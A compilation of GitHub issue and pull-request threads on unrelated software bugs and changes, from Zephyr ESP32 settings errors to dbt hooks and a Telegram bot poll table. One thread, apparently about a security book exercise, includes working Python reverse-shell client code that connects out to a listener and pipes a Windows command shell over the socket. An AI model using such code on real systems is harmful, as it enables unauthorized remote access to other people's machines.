#train chunker model
ntc=NGramTagChunker(train_data)
#evaluate chunker model performance
print(ntc.evaluate(test_data))

This outputs
ChunkParse score:
    IOB Accuracy: 100.0%%
    Precision:      0.0%%
    Recall:         0.0%%
    F-Measure:      0.0%%

Which, although it obviously doesn't mean much as the data is arbitrary, does not throw an exception.
Note that without your imports, the additional functions you used, and a sample of your testing and training data, we won't be able to reproduce this.
If you are still experiencing this issue, please open another issue with more information.


Remove generated API docs from release to reduce package size

Which each release of Alpha, the docs directory is getting bigger.  Currently it is 121.5MB in size.  We should only host the current and 1.x docs on www.alphaframework.org rather than stuffing them into the vendor directory of everyone using the framework via Composer.

Since making this change, it my tests the contents of vendor/alphadevx is now 41.9MB.


DCOS-13910: Re-enable keystroke-updates to the JSON

This PR re-enables the per-keystroke updates of the JSON editor to the NewCreateServiceModalForm

This does what it says, but are we sure this is what we want? The performance in the form is already noticeably laggy, and I can't imagine this helps?

@jfurrow keep in mind that this sluggish feeling is due to propType checks and it only happens in development build. In production the feeling should be much smoother.
And I aggree here with Orlando, where he mentions that this kind of feature adds a value to the overall form, since it gives an overall responsive feeling.

Alright, let's get this in 💪


EvolvePokemon is not working

I have the error
Poke::API::Errors::UnknownProtoFault - An unknown proto fault has occured => [uninitialized constant RpcSub::EvolvePokemonRequest

Use the latest tag (0.0.3) or master branch, I updated the protobufs this morning so this should work now (old protobufs did not have the request for this).
[4] pry(main)> client.evolve_pokemon(pokemon_id: 1)
=> [{:EVOLVE_POKEMON=>{:pokemon_id=>1}}]
[5] pry(main)> call = client.call
[2016-07-27T08:21:49+00:00]: INFO  > Poke::API::RequestBuilder --: [+] Adding 'EVOLVE_POKEMON' to RPC request with arguments
[2016-07-27T08:21:49+00:00]: INFO  > Poke::API::RequestBuilder --: [+] Executing RPC request
[2016-07-27T08:21:49+00:00]: INFO  > Poke::API::Response       --: [+] Decoding Main RPC responses
[2016-07-27T08:21:49+00:00]: INFO  > Poke::API::Response       --: [+] Decoding Sub RPC responses
[2016-07-27T08:21:49+00:00]: INFO  > Poke::API::Client         --: [+] Cleaning up RPC requests
=> #<Poke::API::Response:0x00000004b16fa8
 @request=[{:EVOLVE_POKEMON=>{:pokemon_id=>1}}],
 @response={:EVOLVE_POKEMON=>{:result=>:FAILED_POKEMON_MISSING, :evolved_pokemon_data=>nil, :experience_awarded=>0, :candy_awarded=>0}, :api_url=>"pgorelease.nianticlabs.com/plfe/214"}>


java: Fix docstring pretty formatting

🤔 What's changed?
Fixes: #50
🏷 What kind of change is this?

:bug: Bug fix (non-breaking change which fixes a defect)

📋 Checklist:

[x] I agree to respect and uphold the Cucumber Community Code of Conduct
[x] I've changed the behaviour of the code

[ ] I have added/updated tests to cover my changes.

[ ] My change requires a change to the documentation.

[ ] I have updated the documentation accordingly.

[ ] Users should know about my change

[ ] I have added an entry to the "Unreleased" section of the CHANGELOG, linking to this pull request.

Except conflicts, this branch fixes the defect.


[PDI-17344] - Get Repository Name : Execution on server does not retu…

…rn right results.
@bmorrise @mkambol @pentaho-lmartins

Build Completed
:fire: This pull request has some issues. It would be preferable to fix them in order for it to be just perfect. See below for more details. Some links are also available below for further assistance in addressing those issues.
Build Commands
mvn -B -f 'pom.xml' -pl 'plugins/pur/core' -P '!assemblies' -Dsurefire.runOrder=alphabetical -Daudit -amd clean install

Cleanup Commands
mvn -B -f 'pom.xml' -pl 'plugins/pur/core' -P '!assemblies' -amd build-helper:remove-project-artifact

Changed files
  plugins/pur/core/src/main/java/org/pentaho/di/repository/pur/PurRepositoryConnector.java

Unit Test Coverage
These statistics help you identify how your changes have affected the coverage of the following files. If a file is not in this list, then its coverage was not affected by your changes. To get some help interpreting these metrics, please refer to Jacoco's documentation.

:warning: Coverage Changes (click to expand)
org.pentaho.di.repository.pur.PurRepositoryConnector

Instruction Change: -1.2% :small_red_triangle_down:
Line Change: -1% :small_red_triangle_down:


Invalid security key for Encryption and Versioning API from dashboard, leading to 401

Is this a BUG REPORT or FEATURE REQUEST?:

Uncomment only one, leave it on its own line:

/kind bug

/kind feature

What happened:
Calling the set encryption returns a 401 due to signature validation failing in keystone
What you expected to happen:
Expected the API to succced
How to reproduce it (as minimally and precisely as possible):
Try to create a bucket with Encryption enabled on v0.7.0 release
Anything else we need to know?:
Environment:

Gelato(release/branch) version:
OS (e.g. from /etc/os-release):
Kernel (e.g. uname -a):
Install tools:
Others:

@anvithks Canyou please check this issue and see if it can be closed

Fixed in #257


Adding SHA (for PRs)/ Main (for main) to URL

Fixes #90 - adds a GHA SHA to PR branches and 'main' for merges to main
Adds a DESTINATION_FOLDER ENV var and consults it for setting prefix path and copying files.
Adding "draft" label for now as I need to prove that it actually works by running it first on GHA
As examples:

On PR
http://usds-geoplatform-justice40-website.s3-website-us-east-1.amazonaws.com/justice40-tool/123431/en
https://d2zjid6n5ja2pt.cloudfront.net/justice40-tool/123431/en

On merge to main:
http://usds-geoplatform-justice40-website.s3-website-us-east-1.amazonaws.com/justice40-tool/main/en
https://d2zjid6n5ja2pt.cloudfront.net/justice40-tool/123431/en

Ah - that was just an example . For the latest hash, 452622, it posted successfully just now to:
http://usds-geoplatform-justice40-website.s3-website-us-east-1.amazonaws.com/justice40-tool/452622/en/


Minor documentation fixes.

Minor improvements to the Evaluate Druid document.

@jukukl Could you please fill out the CLA at http://druid.io/community/cla.html ? and squash your commits.

@himanshug Done.


no output

No output from redsea, I've tried about dozen different stations here in San Francisco Bay Area but no avail.
Here is the syntax which I tried:
rtl_fm -M fm -l 0 -A std -p 0 -s 171k -g 40 -F 9 -f 96.5M | redsea -e | aplay -r 171000 -f S16_LE
rtl_fm -M fm -l 0 -A std -p 0 -s 171k -g 40 -F 9 -f 96.5M | redsea -e -u | aplay -r 171000 -f S16_LE
I can hear audio but no output from redsea in terminal. I also tried weird syntax suggested here:
https://github.com/windytan/redsea/issues/59
but still no output. Just wondering if I'm doing something wrong.
Thanks in advance!

Thanks for the report!
It doesn't look like you're doing anything wrong. A couple of questions:

Are you able to get output from redsea without the -e option (and the pipe to aplay)?
Is this a Linux system?

No output without aplay either:
rtl_fm -M fm -l 0 -A std -p 0 -s 171k -g 40 -F 9 -f 96.5M | redsea
This is Raspbian Stretch Desktop running on Raspberry Pi 3+. I'm using the latest version of redsea.
I tried the same stations/frequencies on Windows machine with SDR# and I saw the RDS messages there
for the same stations.
Thanks!

Here is the output:
pi@raspberrypi:~ $ rtl_fm -M fm -l 0 -A std -p 0 -s 171k -g 40 -F 9 -f 97.3M | redsea
Found 1 device(s):
0:  Realtek, RTL2838UHIDIR, SN: 00000001
Using device 0: Generic RTL2832U OEM
Detached kernel driver
Found Rafael Micro R820T tuner
Tuner gain set to 40.20 dB.
Tuned to 97642000 Hz.
oversampling input by: 8x.
Oversampling output by: 1x.
Buffer size: 5.99ms
Exact sample rate is: 1368000.013046 Hz
Create UDP thread
Created UDP thread
Main socket started! :-) Tuning enabled on UDP/6020
Sampling at 1368000 S/s.
Output at 171000 Hz.

You could try to change the gain (-g) to -g 20.
If that doesn't help, then I'd be interested in seeing a short (10-second) recording of that raw rtl_fm output.

Hi!
You have set ppm to 0. What dongle do you have? Try to calibrate/measure
your ppm if not done earlier.
// David
Den tis 2 okt. 2018 07:52Oona Räisänen<EMAIL_ADDRESS>skrev:

You could try to change the gain (-g) to -g 20.
If that doesn't help, then I'd be interested in seeing a short (10-second)
recording of that raw rtl_fm output.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/windytan/redsea/issues/62#issuecomment-426157010, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ARdPKWrGqmGr4RIT3UOEppF2Gyb0DIt-ks5ugv8WgaJpZM4XBLbH
.

I tried two different dongles with the same result:
https://www.amazon.com/NooElec-NESDR-SMArt-Bundle-R820T2-Based/dp/B01GDN1T4S
https://www.amazon.com/RTL-SDR-Blog-RTL2832U-Software-Telescopic/dp/B011HVUEME
I'm not sure how to calibrate the dongle. If I remove that parameter the result is the same.
I recorded three test files for different stations this way:
rtl_fm -M fm -l 0 -A std -s 171k -g 20 -F 9 -f 106.9M > test-106.9M.raw
They can be found here on github:
https://github.com/project-owner/Peppy.doc/blob/master/files/test-102.9M.raw
https://github.com/project-owner/Peppy.doc/blob/master/files/test-106.9M.raw
https://github.com/project-owner/Peppy.doc/blob/master/files/test-97.3M.raw
Please let me know if it works or if I need to use any other way to record those files.
Thanks!

Thanks for the files, they work well. I was able to decode them in redsea v0.16 and v0.17.1 on MacOS (I got callsigns KCBS, KLLC, KBLX). To me this looks very similar to the v0.15 bug you linked to earlier. Which version does redsea --version report?

pi@raspberrypi:~ $ redsea --version
redsea 0.17.1 by OH2EIQ
Here is the output using that syntax (no RDS messages):
pi@raspberrypi:~ $ { rtl_fm -M fm -l 0 -A std -s 171k -g 20 -F 9 -f 106.9M | redsea -e 2>&1 1>&3 3>&- | jq -c . ; } 3>&1 1>&2 | aplay -r 171000 -f S16_LE
Found 1 device(s):
0: Realtek, RTL2838UHIDIR, SN: 00000001
Using device 0: Generic RTL2832U OEM
Detached kernel driver
Found Rafael Micro R820T tuner
Tuner gain set to 19.70 dB.
Tuned to 107242000 Hz.
oversampling input by: 8x.
Oversampling output by: 1x.
Buffer size: 5.99ms
Exact sample rate is: 1368000.013046 Hz
Create UDP thread
Created UDP thread
Main socket started! :-) Tuning enabled on UDP/6020
Sampling at 1368000 S/s.
Output at 171000 Hz.
Playing raw data 'stdin' : Signed 16 bit Little Endian, Rate 171000 Hz, Mono

@project-owner
Is this solved now?

I didn't try after that report. Is there any new redsea release which could fix it? I could lend Pi3 + RTL-SDR dongle to anybody who could fix the issue.

There has been a release after this, but it is difficult to say whether it would fix this problem, as the root cause is not known. Perhaps!

Updated OS, recompiled rtl-sdr and installed new version of redsea: redsea 0.18 by OH2EIQ
It works now. I can see the RDS Json output. Now I need to find a way to capture that output in my program (maybe using fifo/named pipe ?) Also need a way to redirect audio output to VLC which I control from my program. But that's a different story. Closing the issue.


Fix java.lang.IllegalArgumentException in ConnectionListener

Add check for messagesReceivedDiff instead of messagesReceivedSnapshot for jetty metrics collection

shouldn't there also be a change to gracefully handle exceptions in a finally block and close the connection?

This code doesn't control the lifecycle of the connection; it just monitors metrics

Are you saying that you want to wrap all of the ConnectionListener code in a try catch?

well if Jetty is not going to gracefully handle a listener throwing an exception, then yes. Most likely we could create our own composite listener that does the exception handling for all our custom listeners.

oh woah ok I didn't realize this was the source of the connection leaks. Then definitely yes we should have a wrapper connection listener that handles exceptions.


esp32: subsys: settings: not working properly on esp_wrover_kit

Describe the bug
The settings subsys doesn't work properly on esp_wrover_kit.
But it works on esp32-wroom and esp32-c3.
To Reproduce
Steps to reproduce the behavior:

west build -b esp_wrover_kit samples/subsys/settings/ -p
See error

save <alpha/beta/voltage> key directly: fail (err -2)
...
delete <alpha/length>: fail (err -2)
...
save <gamma> key directly: fail (err -2)

Expected behavior
It seems to work for reading but doesn't work for saving and deleting.
When tried to build as esp32 board and ran it on ESP32 WROVER board, it failed on settings_subsys_init() with error code is (EDEADLK).
Logs and console output
ets Jul 29 2019 12:21:46

rst:0x1 (POWERON_RESET),boot:0x12 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0030,len:6596
load:0x40078000,len:15216
ho 0 tail 12 room 4
load:0x40080400,len:3992
entry 0x40080634
I (29) boot: ESP-IDF 2cb20ac6c 2nd stage bootloader
I (29) boot: compile time 18:31:54
I (29) boot: chip revision: 3
I (32) boot_comm: chip revision: 3, min. bootloader chip revision: 0
I (39) boot.esp32: SPI Speed      : 40MHz
I (44) boot.esp32: SPI Mode       : DIO
I (48) boot.esp32: SPI Flash Size : 4MB
I (53) boot: Enabling RNG early entropy source...
I (58) boot: Partition Table:
I (62) boot: ## Label            Usage          Type ST Offset   Length
I (69) boot:  0 nvs              WiFi data        01 02 00009000 00006000
I (77) boot:  1 phy_init         RF data          01 01 0000f000 00001000
I (84) boot:  2 factory          factory app      00 00 00010000 00100000
I (92) boot: End of partition table
I (96) boot_comm: chip revision: 3, min. application chip revision: 0
I (103) esp_image: segment 0: paddr=00010020 vaddr=00000020 size=0001ch (    28)
I (111) esp_image: segment 1: paddr=00010044 vaddr=3ffb0000 size=001e8h (   488) load
I (120) esp_image: segment 2: paddr=00010234 vaddr=3ffb01e8 size=0013ch (   316) load
I (128) esp_image: segment 3: paddr=00010378 vaddr=40080000 size=041a4h ( 16804) load
I (144) esp_image: segment 4: paddr=00014524 vaddr=00000000 size=0bb14h ( 47892)
I (162) esp_image: segment 5: paddr=00020040 vaddr=3f400040 size=015c4h (  5572) map
I (165) esp_image: segment 6: paddr=0002160c vaddr=00000000 size=0ea0ch ( 59916)
I (190) esp_image: segment 7: paddr=00030020 vaddr=400d0020 size=03abch ( 15036) map
I (197) boot: Loaded app from partition at offset 0x10000
I (197) boot: Disabling RNG early entropy source...
�*** Booting Zephyr OS build zephyr-v3.2.0  ***

*** Settings usage example ***

settings subsys initialization: OK.
subtree <alpha> handler registered: OK
subtree <alpha/beta> has static handler

##############
# iteration 0
##############

=================================================
basic load and save using registered handlers

load all key-value pairs using registered handlers
loading all settings under <beta> handler is done
loading all settings under <alpha> handler is done

save <alpha/beta/voltage> key directly: fail (err -2)
OK.

load <alpha/beta> key-value pairs using registered handlers
loading all settings under <beta> handler is done

save all key-value pairs using registered handlers

load all key-value pairs using registered handlers

=================================================
loading subtree to destination provided by the caller

  direct.length =<PHONE_NUMBER>954964015
  direct.length_1 = 0
  direct.length_2 = 0

=================================================
Delete a key-value pair

delete <alpha/length>: fail (err -2)
  Can't to load the <alpha/length> value as expected

=================================================
Service a key-value pair without dedicated handlers

<gamma> = 0 (default)
save <gamma> key directly: fail (err -2)

##############
# iteration 1
##############

=================================================
basic load and save using registered handlers

load all key-value pairs using registered handlers
loading all settings under <beta> handler is done
loading all settings under <alpha> handler is done

save <alpha/beta/voltage> key directly: fail (err -2)
OK.

load <alpha/beta> key-value pairs using registered handlers
loading all settings under <beta> handler is done

save all key-value pairs using registered handlers

load all key-value pairs using registered handlers

=================================================
loading subtree to destination provided by the caller

  direct.length =<PHONE_NUMBER>954964015
  direct.length_1 = 0
  direct.length_2 = 0

=================================================
Delete a key-value pair

delete <alpha/length>: fail (err -2)
  Can't to load the <alpha/length> value as expected

=================================================
Service a key-value pair without dedicated handlers

<gamma> = 0 (default)
save <gamma> key directly: fail (err -2)

##############
# iteration 2
##############

=================================================
basic load and save using registered handlers

load all key-value pairs using registered handlers
loading all settings under <beta> handler is done
loading all settings under <alpha> handler is done

save <alpha/beta/voltage> key directly: fail (err -2)
OK.

load <alpha/beta> key-value pairs using registered handlers
loading all settings under <beta> handler is done

save all key-value pairs using registered handlers

load all key-value pairs using registered handlers

=================================================
loading subtree to destination provided by the caller

  direct.length =<PHONE_NUMBER>954964015
  direct.length_1 = 0
  direct.length_2 = 0

=================================================
Delete a key-value pair

delete <alpha/length>: fail (err -2)
  Can't to load the <alpha/length> value as expected

=================================================
Service a key-value pair without dedicated handlers

<gamma> = 0 (default)
save <gamma> key directly: fail (err -2)

##############
# iteration 3
##############

=================================================
basic load and save using registered handlers

load all key-value pairs using registered handlers
loading all settings under <beta> handler is done
loading all settings under <alpha> handler is done

save <alpha/beta/voltage> key directly: fail (err -2)
OK.

load <alpha/beta> key-value pairs using registered handlers
loading all settings under <beta> handler is done

save all key-value pairs using registered handlers

load all key-value pairs using registered handlers

=================================================
loading subtree to destination provided by the caller

  direct.length =<PHONE_NUMBER>954964015
  direct.length_1 = 0
  direct.length_2 = 0

=================================================
Delete a key-value pair

delete <alpha/length>: fail (err -2)
  Can't to load the <alpha/length> value as expected

=================================================
Service a key-value pair without dedicated handlers

<gamma> = 0 (default)
save <gamma> key directly: fail (err -2)

##############
# iteration 4
##############

=================================================
basic load and save using registered handlers

load all key-value pairs using registered handlers
loading all settings under <beta> handler is done
loading all settings under <alpha> handler is done

save <alpha/beta/voltage> key directly: fail (err -2)
OK.

load <alpha/beta> key-value pairs using registered handlers
loading all settings under <beta> handler is done

save all key-value pairs using registered handlers

load all key-value pairs using registered handlers

=================================================
loading subtree to destination provided by the caller

  direct.length =<PHONE_NUMBER>954964015
  direct.length_1 = 0
  direct.length_2 = 0

=================================================
Delete a key-value pair

delete <alpha/length>: fail (err -2)
  Can't to load the <alpha/length> value as expected

=================================================
Service a key-value pair without dedicated handlers

<gamma> = 0 (default)
save <gamma> key directly: fail (err -2)

##############
# iteration 5
##############

=================================================
basic load and save using registered handlers

load all key-value pairs using registered handlers
loading all settings under <beta> handler is done
loading all settings under <alpha> handler is done

save <alpha/beta/voltage> key directly: fail (err -2)
OK.

load <alpha/beta> key-value pairs using registered handlers
loading all settings under <beta> handler is done

save all key-value pairs using registered handlers

load all key-value pairs using registered handlers

=================================================
loading subtree to destination provided by the caller

  direct.length =<PHONE_NUMBER>954964015
  direct.length_1 = 0
  direct.length_2 = 0

=================================================
Delete a key-value pair

delete <alpha/length>: fail (err -2)
  Can't to load the <alpha/length> value as expected

=================================================
Service a key-value pair without dedicated handlers

<gamma> = 0 (default)
save <gamma> key directly: fail (err -2)

=================================================
Inject the value to the setting destination in runtime

<alpha/beta/source> = RT
injected <alpha/beta/source>: OK.
  The settings destination off the key <alpha/beta/source> has got value: "RT"

=================================================
Read a value from the setting destination in runtime

fetched <alpha/beta/source>: OK.
  String value "rtos" was retrieved from the settings destination off the key <alpha/beta/source>

*** THE END  ***

Environment (please complete the following information):

OS: Ubuntu 20.04 LTS
Toolchain: Zephyr SDK v0.15.1
Commit SHA or Version used: zephyr-v3.2.0 release

Additional context
No clue but I think it might be related to PSRAM and flash on the same SPI bus.

@honestech74, the eror message is indicating that there already is data in the flash area used for settings. Could it be that this area was not erased? As a protection against wrongly erasing data that could be vital for the user the settings_subsys_init might not remove what is already there.

@Laczen Tried to erase the flash using esptool.py erase_flash but got the same errors.

@sylvioalves I forgot those kconfigs. It works now. Thank you.


join command regression: decorators/preprocessor are always executed

Describe the bug
Before this commit, the join command wasn't bundling documents. By changing this behaviour, running a join now always execute the decorators/preprocessor.
For us, it's a regression because we use decorators to remove internal documentation. So with the latest versions, we have no way to join ours different api files and keep the internal documentation conditionally.
To Reproduce
Steps to reproduce the behavior:

openapi join file1.yaml file2.yaml

Expected behavior
It was expected that bundling wasn't part of the join command. From my understand, the bundling mechanism was only to resolve reference properly in the join command. Perhaps the join command could ignore the decorators/preprocessor from the config or we could support similar bundle parameters such as --skip-decorators
Logs
If applicable, add logs to help explain your problem.
OpenAPI definition
.redocly.yaml:
lint:
  extends:
    - minimal
  plugins:
    - './build/openapi-plugins/decorators.js'
  decorators:
    cleanup/remove-hidden: error
    cleanup/remove-internal: error

openapi-cli Version(s)
beta-94
Node.js Version(s)
N/A -> Running in docker
Additional context
Add any other context about the problem here.

That comment (with the bundling) was done to solve https://github.com/Redocly/openapi-cli/issues/339
There is a workaround you can do. In newer versions of OpenAPI-cli we support a new configuration file format.
apis:
  other@internal:
    root: ./other.yaml
  example@internal:
    root: ./openapi.yaml
  example@external:
    root: ./openapi.yaml
    lint:
      decorators:
        cleanup/remove-hidden: error
        cleanup/remove-internal: error
lint:
  plugins:
    - './build/openapi-plugins/decorators.js'
  extends:
     - minimal

In this case, you could use the @internal API for the join and the @external for some external documentation purpose.
Here is a lightweight example of using the same root file with different decorators:
https://github.com/redocly-demo/demo-remove-x-internal

Increasing the priority on this, unexpected processing of the API descriptions is not a good surprise to include with a join command, we should try to keep the commands as atomic as we can.

We can disable decorators and preprocessors by default in join command and add options like --allow-decorators and --allow-preprocessors to enable them. Or don't we need these options?
@adamaltman @lornajane what do you think ?

I agree with this suggestion, when doing a join I don't necessarily expect other steps to be performed. Since use --lint, a single active verb as a switch to the bundle command, we could extend that pattern here and have --decorate and --preprocess as the parameter names.


Error while processing poll answer

🐞 Bug Report
Required Information

?
!

Operating system
CentOS 7

PHP Telegram Bot version
0.62.00

PHP version
7.2.27

MySQL version
5.7.29-32 Percona

Update Method
Webhook

Self-signed certificate
no

RAW update (if available)
{...}

Summary

PDOStatement::execute(): SQLSTATE[23000]: Integrity constraint violation: 1452 Cannot add or update a child row: a foreign key constraint fails (kdt.tgbot_poll_answer, CONSTRAINT tgbot_poll_answer_ibfk_1 FOREIGN KEY (poll_id) REFERENCES tgbot_poll (id)) {"exception":"[object] (ErrorException(code: 0): PDOStatement::execute(): SQLSTATE[23000]: Integrity constraint violation: 1452 Cannot add or update a child row: a foreign key constraint fails (kdt.tgbot_poll_answer, CONSTRAINT tgbot_poll_answer_ibfk_1 FOREIGN KEY (poll_id) REFERENCES tgbot_poll (id)) at "/vendor/longman/telegram-bot/src/DB.php:907)

Primary key in table poll_answer is poll_id, seems, that right PK is poll_id + user_id

How to reproduce
Create new non-anonymous poll by sendPoll and answer by user in chat group.
Solution:

Add user id to primary key
Remove restrict for update

@asafov You're absolutely right, thanks for reporting 🙏

@asafov Could you please give #1087 a try and confirm that it's working correctly? Thanks

Second issue is fixed, but first is still actual.
Seems, that query for poll is duplicated or something like this.
This is content of my updates table:
https://imgur.com/a/G9YFiHm

That is correct behaviour, as the Telegram Bot API does send both those updates...
I know, it's strange 😕
The constraint error is fixed now, right?

After user click some answer at poll, command GenericCommand execute and have no $this->getMessage () method, coz it's update. So catched 400 error from telegram server, while i try to send message with calling getMessage () and duplicate queries. Sorry my mistake.

About anonymouse polls - here is reason why answers don't put to database:
            if ($user = $poll_answer->getUser()) {
                $user_id = $user->getId();
                self::insertUser($user, $date);
            }

But table poll is correctly updated. I think that if we want to see answers at poll_answer table too, we need to generate random id for user.
Here is update for anonymouse poll:
{"update_id":193532823, "poll":{"id":"5291776536217649157","question":"\u0413\u043e\u0442\u043e\u0432\u044b \u0437\u0430\u0432\u0442\u0440\u0430 \u0442\u0440\u0443\u0434\u0438\u0442\u044c\u0441\u044f?","options":[{"text":"\u0414\u0430 (\u041f\u0435\u0448\u0438\u0439)","voter_count":0},{"text":"\u0414\u0430 (\u0410\u0432\u0442\u043e)","voter_count":1},{"text":"\u041d\u0435\u0442","voter_count":0}],"total_voter_count":1,"is_closed":false,"is_anonymous":true,"type":"regular","allows_multiple_answers":false}}

By the way - how about two new system commands?
PollSendedCommand and PollAnswerSendedCommand?

Regarding new system commands, I think until we rewrite the whole command system, it will just make it more difficult by adding new ones, so not at the moment.
About the anonymous polls, the code you posted shouldn't be a problem, as the user doesn't get passed anyway with anonymous polls. When replying to an anonymous poll, only the poll update gets received from the Bot API, and the results (total_voter_count) are updated in the poll table.

Yes, it doesn't make any problems, i only mean, that if we want to see records at poll_answer table for anonymous, we should generate some unique user id for prevent duplicates at primary key.
At this moment i don't see any need for populate this table, so it's only my minds and nothing else.

that if we want to see records at poll_answer table for anonymous, we should generate some unique user id

Logging the answers is opposite of what anonymous is intended for 😬

You are 100% right, sorry for going crazy)

I'm very grateful for your input and any feedback, so no need to apologise 😊


issue with insert statements in hooks

We saw this occurring on Snowflake, but it might also be an issue on other databases? Given a config like:
on-run-end:
  - insert into _dbt.audit (field) values ('something')

we would see the query in the logs, and it's visible in the Snowflake history view, but the records are not actually inserted. Interestingly, adding a ; commit; to the end of the query makes it work.
It sounds like this is related to an uncommitted transaction, but that's strange for two reasons:

we can see the begin; commit; before the hooks, intended to clear an open transaction, if there is one
Snowflake should autocommit DDL statements. Since insert is technically DML, I suppose this makes sense.

This issue occurs on 0.10.0, 0.10.1, and possibly before?
TODO:

which databases are affected?
why does this happen?

This is no longer an issue due to changes in dbt's table/view/incremental materializations in versions >=0.11.2. Closing

Hey 👋
Sorry for digging up an old issue, but I am seeing this again (or something very similar), on both 0.16.1 and 0.17.0b1.
I'm trying to delete some data in the on-run-end hook. The data isn't deleted unless I append ; commit; to the command.
Looking at the debug output without the ; commit; suffix there is no 'COMMIT';
2020-05-28 00:02:02.038969 (MainThread): Using snowflake connection "master".
2020-05-28 00:02:02.039269 (MainThread): On master: /* {"app": "dbt", "dbt_version": "0.17.0b1", "profile_name": "cdp", "target_name": "test", "connection_name": "master"} */
DELETE FROM <...>;
2020-05-28 00:02:02.910266 (MainThread): SQL status: SUCCESS 5 in 0.87 seconds

But with the suffix we do see a commit:
2020-05-28 00:04:17.663912 (MainThread): Using snowflake connection "master".
2020-05-28 00:04:17.664125 (MainThread): On master: /* {"app": "dbt", "dbt_version": "0.17.0b1", "profile_name": "cdp", "target_name": "test", "connection_name": "master"} */
DELETE FROM <...>;
2020-05-28 00:04:18.553232 (MainThread): SQL status: SUCCESS 5 in 0.89 seconds
2020-05-28 00:04:18.553514 (MainThread): Using snowflake connection "master".
2020-05-28 00:04:18.553689 (MainThread): On master: commit;
2020-05-28 00:04:18.884134 (MainThread): SQL status: SUCCESS 1 in 0.33 seconds

hey @dlmiddlecote - do you mind opening a new issue? The behavior you're describing doesn't sound good/right to me! We'd be happy to check it out :)
Thanks!

Of course! Thanks 🙏


rename dampedosc.PNG to dampedosc.png to fix sphinx build

too slow...

Ha sorry well you were 30s faster on the reusable-workflows one so I had to be faster on this one ;)


New Package: N0TTL.GridTracker version 1.23.0402

Resolve #111304

Note: <path> is the name of the directory containing the manifest you're submitting.

Microsoft Reviewers: codeflow:open?pullrequest=https://github.com/microsoft/winget-pkgs/pull/113444&drop=dogfoodAlpha

Automatic Validation ended with:

@wingetbot waivers Add Validation-Unattended-Failed


Add assay_types.yaml for all the brackets on production

[sc_atac_seq_snare]
[salmon_rnaseq_snareseq]
[seqFISH_lab_processed]
[salmon_rnaseq_bulk]
[salmon_rnaseq_sciseq]

(there is also ['ATACseq-bulk]... but I'm going to assume that's just wrong: Need to ping Bill...)

Additionally, "seqFish" needs to be mapped to "seqFISH".

Here are the mappings that should be used:
[sc_atac_seq_snare] = scATAC-seq (SNARE-seq) [SnapATAC]
[salmon_rnaseq_snareseq] = scRNA-seq (SNARE-seq) [Salmon]
[seqFISH_lab_processed] = seqFISH [Lab Processed]
[salmon_rnaseq_bulk] = Bulk RNA-seq [Salmon]
[salmon_rnaseq_sciseq] = scRNA-seq (sciSeq) [Salmon]

Fixed by #25. (search-api will still need to be updated, and then a reindex...)


Align kubefed core APIs with kubernetes API conventions

This issue is to track the work to modify the core API types in core.federation.k8s.io that do not abide by the kubernetes API conventions. These issues include:

Optional fields should have both the omitempty json struct tag and the +optional comment tag in Go, as well as be a pointer type (or have built-in nil value such as maps and slices). See here for more details.
Some fields should be required and not be omitempty.
Inconsistent naming of fields that are semantically similar e.g. target, federatedType, and status within the FederatedTypeConfig API.
Fields that use booleans should often use an enumeration of strings instead. This extends the possibility of ever having more than a boolean behavior by making additions backwards compatible. They will also need to be renamed as a result. See here for more details.
All json field names defined by the struct tags should be camelCase compliant. See here for more details.

The following APIs will be updated:

[x] KubefedCluster (#869 and #915)
[x] FederatedTypeConfig (#885)
[x] KubefedConfig (#887)
[x] PropagatedVersion (#896)
[x] ClusterPropagatedVersion (#897)
[x] FederatedServiceStatus (#898)

/kind bug

Closing as all PRs have been merged.


Invalid literal for int() with base 10: "<feature name>" when .feature_names is not None

This is because the model uses a numpy array for storage which accepths only numbers. defaultdict should be used.

Thank you.

Thanks for pointing it out!


Chapter 3 reverse_shell_py [Errno 9] Bad file descriptor on line os.dup2(s.fileno(),0)

Running on python3.12, windows 11, AMD64, 64 bits
Keep having [Errno 9] Bad file descriptor.
Below is my code for the client
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(("<IP_ADDRESS>", 45678))
#if r==0:
s.send(b"Hello")
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
shell_remote=subprocess.call(("cmd", "dir"))
proc = subprocess.call(("dir"))
s.close()

I tried the server with two methods:
using netcat-win32-1.12 from https://eternallybored.org/misc/netcat/
AND also writing a simple server.py by myself, as follows:
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("<IP_ADDRESS>", 45678))
s.listen(5)
print("Listening...")
client, addr = s.accept()
while True:
	request = client.recv(1024).decode()
	print("[+] Received: ", request)
	if request == "quit":
		break
	if len(request) < 1:
		break

s.close()

Something wrong with this example?

Guys, I just found out that os.dup2 and socket.fileno() does not work on Windows as it is written on docs, as follows:
socket.fileno()
Return the socket’s file descriptor (a small integer). This is useful with select.select().
Under Windows the small integer returned by this method cannot be used where a file descriptor can be used (such as os.fdopen()). Unix does not have this limitation.


Treat all Java Compiler and Android Lint warnings as errors

Closes #200
I had to fix several Java Compiler warnings and Android Lint warnings to make successful build, so it works :D
@nikitin-da PTAL

retest this please


Add exception handlers

Adds fastapi exception handlers.

Closes #41

Codecov Report

Merging #56 into master will increase coverage by 0.08%.
The diff coverage is 95.74%.

@@            Coverage Diff             @@
##           master      #56      +/-   ##
==========================================
+ Coverage   95.39%   95.47%   +0.08%
==========================================
  Files          22       22
  Lines         933      951      +18
==========================================
+ Hits          890      908      +18
  Misses         43       43

Impacted Files
Coverage Δ

titiler/db/memcache.py
55.55% <75.00%> (ø)

titiler/main.py
91.66% <85.71%> (+0.49%)
:arrow_up:

titiler/api/deps.py
99.04% <100.00%> (ø)

titiler/api/endpoints/stac.py
95.80% <100.00%> (ø)

titiler/errors.py
100.00% <100.00%> (ø)

titiler/settings.py
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ab9dfe3...57a0085. Read the comment docs.

It looks good, I think we can just make the change I proposed and it will be good ;-)
